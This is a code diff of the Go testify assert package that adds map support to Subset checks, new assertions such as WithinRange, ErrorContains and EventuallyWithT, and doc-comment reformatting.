// assert.Contains(t, {"Hello": "World"}, "Hello")
|
||||
// assert.Contains(t, "Hello World", "World")
|
||||
// assert.Contains(t, ["Hello", "World"], "World")
|
||||
// assert.Contains(t, {"Hello": "World"}, "Hello")
|
||||
func Contains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
ok, found := includeElement(s, contains)
|
||||
ok, found := containsElement(s, contains)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", s), msgAndArgs...)
|
||||
}
|
||||
@@ -779,20 +899,20 @@ func Contains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bo
|
||||
// NotContains asserts that the specified string, list(array, slice...) or map does NOT contain the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.NotContains(t, "Hello World", "Earth")
|
||||
// assert.NotContains(t, ["Hello", "World"], "Earth")
|
||||
// assert.NotContains(t, {"Hello": "World"}, "Earth")
|
||||
// assert.NotContains(t, "Hello World", "Earth")
|
||||
// assert.NotContains(t, ["Hello", "World"], "Earth")
|
||||
// assert.NotContains(t, {"Hello": "World"}, "Earth")
|
||||
func NotContains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
ok, found := includeElement(s, contains)
|
||||
ok, found := containsElement(s, contains)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", s), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", s), msgAndArgs...)
|
||||
}
|
||||
if found {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" should not contain \"%s\"", s, contains), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v should not contain %#v", s, contains), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
@@ -802,7 +922,7 @@ func NotContains(t TestingT, s, contains interface{}, msgAndArgs ...interface{})
|
||||
// Subset asserts that the specified list(array, slice...) contains all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.Subset(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]")
|
||||
// assert.Subset(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]")
|
||||
func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok bool) {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -811,32 +931,44 @@ func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok
|
||||
return true // we consider nil to be equal to the nil set
|
||||
}
|
||||
|
||||
subsetValue := reflect.ValueOf(subset)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
}
|
||||
}()
|
||||
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
|
||||
if listKind != reflect.Array && listKind != reflect.Slice {
|
||||
if listKind != reflect.Array && listKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", list, listKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice {
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", subset, subsetKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
for i := 0; i < subsetValue.Len(); i++ {
|
||||
element := subsetValue.Index(i).Interface()
|
||||
ok, found := includeElement(list, element)
|
||||
if subsetKind == reflect.Map && listKind == reflect.Map {
|
||||
subsetMap := reflect.ValueOf(subset)
|
||||
actualMap := reflect.ValueOf(list)
|
||||
|
||||
for _, k := range subsetMap.MapKeys() {
|
||||
ev := subsetMap.MapIndex(k)
|
||||
av := actualMap.MapIndex(k)
|
||||
|
||||
if !av.IsValid() {
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, subset), msgAndArgs...)
|
||||
}
|
||||
if !ObjectsAreEqual(ev.Interface(), av.Interface()) {
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, subset), msgAndArgs...)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
subsetList := reflect.ValueOf(subset)
|
||||
for i := 0; i < subsetList.Len(); i++ {
|
||||
element := subsetList.Index(i).Interface()
|
||||
ok, found := containsElement(list, element)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", list), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", list), msgAndArgs...)
|
||||
}
|
||||
if !found {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" does not contain \"%s\"", list, element), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, element), msgAndArgs...)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -846,36 +978,48 @@ func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok
|
||||
// NotSubset asserts that the specified list(array, slice...) contains not all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.NotSubset(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]")
|
||||
// assert.NotSubset(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]")
|
||||
func NotSubset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok bool) {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
if subset == nil {
|
||||
return Fail(t, fmt.Sprintf("nil is the empty set which is a subset of every set"), msgAndArgs...)
|
||||
return Fail(t, "nil is the empty set which is a subset of every set", msgAndArgs...)
|
||||
}
|
||||
|
||||
subsetValue := reflect.ValueOf(subset)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
}
|
||||
}()
|
||||
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
|
||||
if listKind != reflect.Array && listKind != reflect.Slice {
|
||||
if listKind != reflect.Array && listKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", list, listKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice {
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", subset, subsetKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
for i := 0; i < subsetValue.Len(); i++ {
|
||||
element := subsetValue.Index(i).Interface()
|
||||
ok, found := includeElement(list, element)
|
||||
if subsetKind == reflect.Map && listKind == reflect.Map {
|
||||
subsetMap := reflect.ValueOf(subset)
|
||||
actualMap := reflect.ValueOf(list)
|
||||
|
||||
for _, k := range subsetMap.MapKeys() {
|
||||
ev := subsetMap.MapIndex(k)
|
||||
av := actualMap.MapIndex(k)
|
||||
|
||||
if !av.IsValid() {
|
||||
return true
|
||||
}
|
||||
if !ObjectsAreEqual(ev.Interface(), av.Interface()) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return Fail(t, fmt.Sprintf("%q is a subset of %q", subset, list), msgAndArgs...)
|
||||
}
|
||||
|
||||
subsetList := reflect.ValueOf(subset)
|
||||
for i := 0; i < subsetList.Len(); i++ {
|
||||
element := subsetList.Index(i).Interface()
|
||||
ok, found := containsElement(list, element)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", list), msgAndArgs...)
|
||||
}
|
||||
@@ -1000,32 +1144,26 @@ func Condition(t TestingT, comp Comparison, msgAndArgs ...interface{}) bool {
|
||||
type PanicTestFunc func()
|
||||
|
||||
// didPanic returns true if the function passed to it panics. Otherwise, it returns false.
|
||||
func didPanic(f PanicTestFunc) (bool, interface{}, string) {
|
||||
|
||||
didPanic := false
|
||||
var message interface{}
|
||||
var stack string
|
||||
func() {
|
||||
|
||||
defer func() {
|
||||
if message = recover(); message != nil {
|
||||
didPanic = true
|
||||
stack = string(debug.Stack())
|
||||
}
|
||||
}()
|
||||
|
||||
// call the target function
|
||||
f()
|
||||
func didPanic(f PanicTestFunc) (didPanic bool, message interface{}, stack string) {
|
||||
didPanic = true
|
||||
|
||||
defer func() {
|
||||
message = recover()
|
||||
if didPanic {
|
||||
stack = string(debug.Stack())
|
||||
}
|
||||
}()
|
||||
|
||||
return didPanic, message, stack
|
||||
// call the target function
|
||||
f()
|
||||
didPanic = false
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// Panics asserts that the code inside the specified PanicTestFunc panics.
|
||||
//
|
||||
// assert.Panics(t, func(){ GoCrazy() })
|
||||
// assert.Panics(t, func(){ GoCrazy() })
|
||||
func Panics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1041,7 +1179,7 @@ func Panics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
// PanicsWithValue asserts that the code inside the specified PanicTestFunc panics, and that
|
||||
// the recovered panic value equals the expected panic value.
|
||||
//
|
||||
// assert.PanicsWithValue(t, "crazy error", func(){ GoCrazy() })
|
||||
// assert.PanicsWithValue(t, "crazy error", func(){ GoCrazy() })
|
||||
func PanicsWithValue(t TestingT, expected interface{}, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1062,7 +1200,7 @@ func PanicsWithValue(t TestingT, expected interface{}, f PanicTestFunc, msgAndAr
|
||||
// panics, and that the recovered panic value is an error that satisfies the
|
||||
// EqualError comparison.
|
||||
//
|
||||
// assert.PanicsWithError(t, "crazy error", func(){ GoCrazy() })
|
||||
// assert.PanicsWithError(t, "crazy error", func(){ GoCrazy() })
|
||||
func PanicsWithError(t TestingT, errString string, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1082,7 +1220,7 @@ func PanicsWithError(t TestingT, errString string, f PanicTestFunc, msgAndArgs .
|
||||
|
||||
// NotPanics asserts that the code inside the specified PanicTestFunc does NOT panic.
|
||||
//
|
||||
// assert.NotPanics(t, func(){ RemainCalm() })
|
||||
// assert.NotPanics(t, func(){ RemainCalm() })
|
||||
func NotPanics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1097,7 +1235,7 @@ func NotPanics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// WithinDuration asserts that the two times are within duration delta of each other.
|
||||
//
|
||||
// assert.WithinDuration(t, time.Now(), time.Now(), 10*time.Second)
|
||||
// assert.WithinDuration(t, time.Now(), time.Now(), 10*time.Second)
|
||||
func WithinDuration(t TestingT, expected, actual time.Time, delta time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1111,6 +1249,27 @@ func WithinDuration(t TestingT, expected, actual time.Time, delta time.Duration,
|
||||
return true
|
||||
}
|
||||
|
||||
// WithinRange asserts that a time is within a time range (inclusive).
|
||||
//
|
||||
// assert.WithinRange(t, time.Now(), time.Now().Add(-time.Second), time.Now().Add(time.Second))
|
||||
func WithinRange(t TestingT, actual, start, end time.Time, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
if end.Before(start) {
|
||||
return Fail(t, "Start should be before end", msgAndArgs...)
|
||||
}
|
||||
|
||||
if actual.Before(start) {
|
||||
return Fail(t, fmt.Sprintf("Time %v expected to be in time range %v to %v, but is before the range", actual, start, end), msgAndArgs...)
|
||||
} else if actual.After(end) {
|
||||
return Fail(t, fmt.Sprintf("Time %v expected to be in time range %v to %v, but is after the range", actual, start, end), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func toFloat(x interface{}) (float64, bool) {
|
||||
var xf float64
|
||||
xok := true
|
||||
@@ -1151,7 +1310,7 @@ func toFloat(x interface{}) (float64, bool) {
|
||||
|
||||
// InDelta asserts that the two numerals are within delta of each other.
|
||||
//
|
||||
// assert.InDelta(t, math.Pi, 22/7.0, 0.01)
|
||||
// assert.InDelta(t, math.Pi, 22/7.0, 0.01)
|
||||
func InDelta(t TestingT, expected, actual interface{}, delta float64, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1161,11 +1320,15 @@ func InDelta(t TestingT, expected, actual interface{}, delta float64, msgAndArgs
|
||||
bf, bok := toFloat(actual)
|
||||
|
||||
if !aok || !bok {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be numerical"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be numerical", msgAndArgs...)
|
||||
}
|
||||
|
||||
if math.IsNaN(af) && math.IsNaN(bf) {
|
||||
return true
|
||||
}
|
||||
|
||||
if math.IsNaN(af) {
|
||||
return Fail(t, fmt.Sprintf("Expected must not be NaN"), msgAndArgs...)
|
||||
return Fail(t, "Expected must not be NaN", msgAndArgs...)
|
||||
}
|
||||
|
||||
if math.IsNaN(bf) {
|
||||
@@ -1188,7 +1351,7 @@ func InDeltaSlice(t TestingT, expected, actual interface{}, delta float64, msgAn
|
||||
if expected == nil || actual == nil ||
|
||||
reflect.TypeOf(actual).Kind() != reflect.Slice ||
|
||||
reflect.TypeOf(expected).Kind() != reflect.Slice {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be slice"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be slice", msgAndArgs...)
|
||||
}
|
||||
|
||||
actualSlice := reflect.ValueOf(actual)
|
||||
@@ -1250,8 +1413,12 @@ func InDeltaMapValues(t TestingT, expected, actual interface{}, delta float64, m
|
||||
|
||||
func calcRelativeError(expected, actual interface{}) (float64, error) {
|
||||
af, aok := toFloat(expected)
|
||||
if !aok {
|
||||
return 0, fmt.Errorf("expected value %q cannot be converted to float", expected)
|
||||
bf, bok := toFloat(actual)
|
||||
if !aok || !bok {
|
||||
return 0, fmt.Errorf("Parameters must be numerical")
|
||||
}
|
||||
if math.IsNaN(af) && math.IsNaN(bf) {
|
||||
return 0, nil
|
||||
}
|
||||
if math.IsNaN(af) {
|
||||
return 0, errors.New("expected value must not be NaN")
|
||||
@@ -1259,10 +1426,6 @@ func calcRelativeError(expected, actual interface{}) (float64, error) {
|
||||
if af == 0 {
|
||||
return 0, fmt.Errorf("expected value must have a value other than zero to calculate the relative error")
|
||||
}
|
||||
bf, bok := toFloat(actual)
|
||||
if !bok {
|
||||
return 0, fmt.Errorf("actual value %q cannot be converted to float", actual)
|
||||
}
|
||||
if math.IsNaN(bf) {
|
||||
return 0, errors.New("actual value must not be NaN")
|
||||
}
|
||||
@@ -1298,7 +1461,7 @@ func InEpsilonSlice(t TestingT, expected, actual interface{}, epsilon float64, m
|
||||
if expected == nil || actual == nil ||
|
||||
reflect.TypeOf(actual).Kind() != reflect.Slice ||
|
||||
reflect.TypeOf(expected).Kind() != reflect.Slice {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be slice"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be slice", msgAndArgs...)
|
||||
}
|
||||
|
||||
actualSlice := reflect.ValueOf(actual)
|
||||
@@ -1320,10 +1483,10 @@ func InEpsilonSlice(t TestingT, expected, actual interface{}, epsilon float64, m
|
||||
|
||||
// NoError asserts that a function returned no error (i.e. `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoError(t, err) {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoError(t, err) {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
func NoError(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
if err != nil {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -1337,10 +1500,10 @@ func NoError(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// Error asserts that a function returned an error (i.e. not `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Error(t, err) {
|
||||
// assert.Equal(t, expectedError, err)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Error(t, err) {
|
||||
// assert.Equal(t, expectedError, err)
|
||||
// }
|
||||
func Error(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
if err == nil {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -1355,8 +1518,8 @@ func Error(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
// EqualError asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that it is equal to the provided error.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualError(t, err, expectedErrorString)
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualError(t, err, expectedErrorString)
|
||||
func EqualError(t TestingT, theError error, errString string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1375,6 +1538,27 @@ func EqualError(t TestingT, theError error, errString string, msgAndArgs ...inte
|
||||
return true
|
||||
}
|
||||
|
||||
// ErrorContains asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that the error contains the specified substring.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.ErrorContains(t, err, expectedErrorSubString)
|
||||
func ErrorContains(t TestingT, theError error, contains string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
if !Error(t, theError, msgAndArgs...) {
|
||||
return false
|
||||
}
|
||||
|
||||
actual := theError.Error()
|
||||
if !strings.Contains(actual, contains) {
|
||||
return Fail(t, fmt.Sprintf("Error %#v does not contain %#v", actual, contains), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// matchRegexp return true if a specified regexp matches a string.
|
||||
func matchRegexp(rx interface{}, str interface{}) bool {
|
||||
|
||||
@@ -1391,8 +1575,8 @@ func matchRegexp(rx interface{}, str interface{}) bool {
|
||||
|
||||
// Regexp asserts that a specified regexp matches a string.
|
||||
//
|
||||
// assert.Regexp(t, regexp.MustCompile("start"), "it's starting")
|
||||
// assert.Regexp(t, "start...$", "it's not starting")
|
||||
// assert.Regexp(t, regexp.MustCompile("start"), "it's starting")
|
||||
// assert.Regexp(t, "start...$", "it's not starting")
|
||||
func Regexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1409,8 +1593,8 @@ func Regexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface
|
||||
|
||||
// NotRegexp asserts that a specified regexp does not match a string.
|
||||
//
|
||||
// assert.NotRegexp(t, regexp.MustCompile("starts"), "it's starting")
|
||||
// assert.NotRegexp(t, "^start", "it's not starting")
|
||||
// assert.NotRegexp(t, regexp.MustCompile("starts"), "it's starting")
|
||||
// assert.NotRegexp(t, "^start", "it's not starting")
|
||||
func NotRegexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1522,7 +1706,7 @@ func NoDirExists(t TestingT, path string, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// JSONEq asserts that two JSON strings are equivalent.
|
||||
//
|
||||
// assert.JSONEq(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`)
|
||||
// assert.JSONEq(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`)
|
||||
func JSONEq(t TestingT, expected string, actual string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1588,12 +1772,17 @@ func diff(expected interface{}, actual interface{}) string {
|
||||
}
|
||||
|
||||
var e, a string
|
||||
if et != reflect.TypeOf("") {
|
||||
e = spewConfig.Sdump(expected)
|
||||
a = spewConfig.Sdump(actual)
|
||||
} else {
|
||||
|
||||
switch et {
|
||||
case reflect.TypeOf(""):
|
||||
e = reflect.ValueOf(expected).String()
|
||||
a = reflect.ValueOf(actual).String()
|
||||
case reflect.TypeOf(time.Time{}):
|
||||
e = spewConfigStringerEnabled.Sdump(expected)
|
||||
a = spewConfigStringerEnabled.Sdump(actual)
|
||||
default:
|
||||
e = spewConfig.Sdump(expected)
|
||||
a = spewConfig.Sdump(actual)
|
||||
}
|
||||
|
||||
diff, _ := difflib.GetUnifiedDiffString(difflib.UnifiedDiff{
|
||||
@@ -1625,6 +1814,14 @@ var spewConfig = spew.ConfigState{
|
||||
MaxDepth: 10,
|
||||
}
|
||||
|
||||
var spewConfigStringerEnabled = spew.ConfigState{
|
||||
Indent: " ",
|
||||
DisablePointerAddresses: true,
|
||||
DisableCapacities: true,
|
||||
SortKeys: true,
|
||||
MaxDepth: 10,
|
||||
}
|
||||
|
||||
type tHelper interface {
|
||||
Helper()
|
||||
}
|
||||
@@ -1632,7 +1829,7 @@ type tHelper interface {
|
||||
// Eventually asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick.
|
||||
//
|
||||
// assert.Eventually(t, func() bool { return true; }, time.Second, 10*time.Millisecond)
|
||||
// assert.Eventually(t, func() bool { return true; }, time.Second, 10*time.Millisecond)
|
||||
func Eventually(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1662,10 +1859,93 @@ func Eventually(t TestingT, condition func() bool, waitFor time.Duration, tick t
|
||||
}
|
||||
}
|
||||
|
||||
// CollectT implements the TestingT interface and collects all errors.
|
||||
type CollectT struct {
|
||||
errors []error
|
||||
}
|
||||
|
||||
// Errorf collects the error.
|
||||
func (c *CollectT) Errorf(format string, args ...interface{}) {
|
||||
c.errors = append(c.errors, fmt.Errorf(format, args...))
|
||||
}
|
||||
|
||||
// FailNow panics.
|
||||
func (c *CollectT) FailNow() {
|
||||
panic("Assertion failed")
|
||||
}
|
||||
|
||||
// Reset clears the collected errors.
|
||||
func (c *CollectT) Reset() {
|
||||
c.errors = nil
|
||||
}
|
||||
|
||||
// Copy copies the collected errors to the supplied t.
|
||||
func (c *CollectT) Copy(t TestingT) {
|
||||
if tt, ok := t.(tHelper); ok {
|
||||
tt.Helper()
|
||||
}
|
||||
for _, err := range c.errors {
|
||||
t.Errorf("%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// EventuallyWithT asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick. In contrast to Eventually,
|
||||
// it supplies a CollectT to the condition function, so that the condition
|
||||
// function can use the CollectT to call other assertions.
|
||||
// The condition is considered "met" if no errors are raised in a tick.
|
||||
// The supplied CollectT collects all errors from one tick (if there are any).
|
||||
// If the condition is not met before waitFor, the collected errors of
|
||||
// the last tick are copied to t.
|
||||
//
|
||||
// externalValue := false
|
||||
// go func() {
|
||||
// time.Sleep(8*time.Second)
|
||||
// externalValue = true
|
||||
// }()
|
||||
// assert.EventuallyWithT(t, func(c *assert.CollectT) {
|
||||
// // add assertions as needed; any assertion failure will fail the current tick
|
||||
// assert.True(c, externalValue, "expected 'externalValue' to be true")
|
||||
// }, 1*time.Second, 10*time.Second, "external state has not changed to 'true'; still false")
|
||||
func EventuallyWithT(t TestingT, condition func(collect *CollectT), waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
collect := new(CollectT)
|
||||
ch := make(chan bool, 1)
|
||||
|
||||
timer := time.NewTimer(waitFor)
|
||||
defer timer.Stop()
|
||||
|
||||
ticker := time.NewTicker(tick)
|
||||
defer ticker.Stop()
|
||||
|
||||
for tick := ticker.C; ; {
|
||||
select {
|
||||
case <-timer.C:
|
||||
collect.Copy(t)
|
||||
return Fail(t, "Condition never satisfied", msgAndArgs...)
|
||||
case <-tick:
|
||||
tick = nil
|
||||
collect.Reset()
|
||||
go func() {
|
||||
condition(collect)
|
||||
ch <- len(collect.errors) == 0
|
||||
}()
|
||||
case v := <-ch:
|
||||
if v {
|
||||
return true
|
||||
}
|
||||
tick = ticker.C
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Never asserts that the given condition doesn't satisfy in waitFor time,
|
||||
// periodically checking the target function each tick.
|
||||
//
|
||||
// assert.Never(t, func() bool { return false; }, time.Second, 10*time.Millisecond)
|
||||
// assert.Never(t, func() bool { return false; }, time.Second, 10*time.Millisecond)
|
||||
func Never(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
|
||||
+22
-21
@@ -1,39 +1,40 @@
|
||||
// Package assert provides a set of comprehensive testing tools for use with the normal Go testing system.
|
||||
//
|
||||
// Example Usage
|
||||
// # Example Usage
|
||||
//
|
||||
// The following is a complete example using assert in a standard test function:
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// func TestSomething(t *testing.T) {
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
// func TestSomething(t *testing.T) {
|
||||
//
|
||||
// assert.Equal(t, a, b, "The two words should be the same.")
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
//
|
||||
// }
|
||||
// assert.Equal(t, a, b, "The two words should be the same.")
|
||||
//
|
||||
// }
|
||||
//
|
||||
// if you assert many times, use the format below:
|
||||
//
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// func TestSomething(t *testing.T) {
|
||||
// assert := assert.New(t)
|
||||
// func TestSomething(t *testing.T) {
|
||||
// assert := assert.New(t)
|
||||
//
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
//
|
||||
// assert.Equal(a, b, "The two words should be the same.")
|
||||
// }
|
||||
// assert.Equal(a, b, "The two words should be the same.")
|
||||
// }
|
||||
//
|
||||
// Assertions
|
||||
// # Assertions
|
||||
//
|
||||
// Assertions allow you to easily write test code, and are global funcs in the `assert` package.
|
||||
// All assertion functions take, as the first argument, the `*testing.T` object provided by the
|
||||
|
||||
+6
-6
@@ -23,7 +23,7 @@ func httpCode(handler http.HandlerFunc, method, url string, values url.Values) (
|
||||
|
||||
// HTTPSuccess asserts that a specified handler returns a success status code.
|
||||
//
|
||||
// assert.HTTPSuccess(t, myHandler, "POST", "http://www.google.com", nil)
|
||||
// assert.HTTPSuccess(t, myHandler, "POST", "http://www.google.com", nil)
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPSuccess(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -45,7 +45,7 @@ func HTTPSuccess(t TestingT, handler http.HandlerFunc, method, url string, value
|
||||
|
||||
// HTTPRedirect asserts that a specified handler returns a redirect status code.
|
||||
//
|
||||
// assert.HTTPRedirect(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPRedirect(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPRedirect(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -67,7 +67,7 @@ func HTTPRedirect(t TestingT, handler http.HandlerFunc, method, url string, valu
|
||||
|
||||
// HTTPError asserts that a specified handler returns an error status code.
|
||||
//
|
||||
// assert.HTTPError(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPError(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPError(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -89,7 +89,7 @@ func HTTPError(t TestingT, handler http.HandlerFunc, method, url string, values
|
||||
|
||||
// HTTPStatusCode asserts that a specified handler returns a specified status code.
|
||||
//
|
||||
// assert.HTTPStatusCode(t, myHandler, "GET", "/notImplemented", nil, 501)
|
||||
// assert.HTTPStatusCode(t, myHandler, "GET", "/notImplemented", nil, 501)
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
